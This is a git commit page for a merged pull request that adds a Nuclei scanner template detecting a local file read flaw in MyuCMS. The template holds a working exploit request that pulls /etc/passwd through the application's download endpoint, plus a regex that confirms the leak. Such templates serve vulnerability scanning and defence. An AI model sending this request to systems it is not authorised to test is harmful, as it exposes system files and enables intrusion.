Merge pull request #1242 from projectdiscovery/princechaddha-patch-11

Create myucms-lfr.yaml
2021-04-21 23:48:16 +05:30 · 2021-04-21 23:48:16 +05:30 · 41b35fe99b
parent 0fda7e48ac 939b8bee6c
commit 41b35fe99b
1 changed files with 15 additions and 0 deletions
--- a/vulnerabilities/other/myucms-lfr.yaml
+++ b/vulnerabilities/other/myucms-lfr.yaml
@ -0,0 +1,15 @@
+id: myucms-lfr
+info:
+  name: MyuCMS Local File Read
+  author: princechaddha
+  severity: high
+  tags: myucms,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"